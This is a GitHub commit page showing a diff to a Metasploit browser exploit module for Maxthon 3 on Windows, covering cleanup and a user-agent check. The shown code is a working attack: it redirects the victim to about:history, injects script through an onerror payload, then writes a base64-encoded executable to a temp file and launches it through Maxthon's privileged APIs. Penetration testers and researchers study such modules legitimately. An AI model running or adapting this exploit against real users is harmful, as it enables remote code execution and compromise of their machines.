Skip to content

Commit 1aaecbc

Browse files
author
jvazquez-r7
committed
cleanup and user agent check
1 parent a1336c7 commit 1aaecbc

File tree

1 file changed

+23
-27
lines changed

1 file changed

+23
-27
lines changed

modules/exploits/windows/browser/maxthon_history_xcs.rb

Lines changed: 23 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -22,14 +22,16 @@ def initialize(info = {})
2222
Injection in such privileged/trusted browser zone can be used to modify
2323
configuration settings and execute arbitrary commands.
2424
},
25-
'License' => MSF_LICENSE,
25+
'License' => BSD_LICENSE,
2626
'Author' =>
27-
[
27+
[
2828
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
29+
'sinn3r', # msf module
30+
'juan vazquez' # msf module
2931
],
3032
'References' =>
3133
[
32-
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
34+
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html'],
3335
],
3436
'Payload' =>
3537
{
@@ -38,35 +40,32 @@ def initialize(info = {})
3840
'Platform' => 'win',
3941
'Targets' =>
4042
[
41-
['Maxthon 3 on Windows', {} ]
43+
['Maxthon 3 (prior to 3.3) on Windows', {} ]
4244
],
4345
'DisclosureDate' => 'Nov 26 2012',
4446
'DefaultTarget' => 0
4547
))
4648
end
4749

48-
def is_maxthon3?(request)
49-
request.headers['User-Agent'] =~ /Maxthon\/3\.0/ ? true : false
50-
end
51-
5250
def on_request_uri(cli, request)
53-
if not is_maxthon3?(request)
54-
print_error("Client isn't a Maxthon3 browser. Sending 404")
51+
52+
if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/
53+
print_status("Sending 404 for User-Agent #{request.headers['User-agent']}")
5554
send_not_found(cli)
55+
return
5656
end
5757

58-
html_hdr = %Q|
58+
html_hdr = %Q^
5959
<html>
6060
<head>
6161
<title>Loading</title>
62-
|
63-
64-
html_ftr = %Q|
62+
^
63+
html_ftr = %Q^
6564
</head>
6665
<body >
6766
<h1>Loading</h1>
6867
</body></html>
69-
|
68+
^
7069

7170
case request.uri
7271
when /\?jspayload/
@@ -83,37 +82,34 @@ def on_request_uri(cli, request)
8382
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
8483
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
8584
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
86-
content = %Q{
87-
if(maxthon.program)
88-
{
89-
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
90-
var fileObj = maxthon.io.File(fileTemp);
91-
maxthon.io.FileWriter(fileTemp);
92-
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
93-
maxthon.program.Program.launch(fileTemp.name_,"C:");
94-
}
85+
content = %Q|
86+
if(maxthon.program)
87+
{
88+
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
89+
var fileObj = maxthon.io.File(fileTemp);
90+
maxthon.io.FileWriter(fileTemp);
91+
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
92+
maxthon.program.Program.launch(fileTemp.name_,"C:");
9593
}
94+
|
9695

9796
when /\?history/
9897
js = %Q|
9998
window.onload = function() {
10099
location.href = "about:history";
101100
}
102101
|
103-
104102
content = %Q|
105103
#{html_hdr}
106104
<script>
107105
#{js}
108106
</script>
109107
#{html_ftr}
110108
|
111-
112109
when get_resource()
113110
print_status("Sending #{self.name} payload for request #{request.uri}")
114111

115112
js = %Q|
116-
117113
url = location.href;
118114
url2 = url + "?jspayload=1";
119115
inj = "?history#%22/><img src=a onerror=%22"

0 commit comments

Comments
 (0)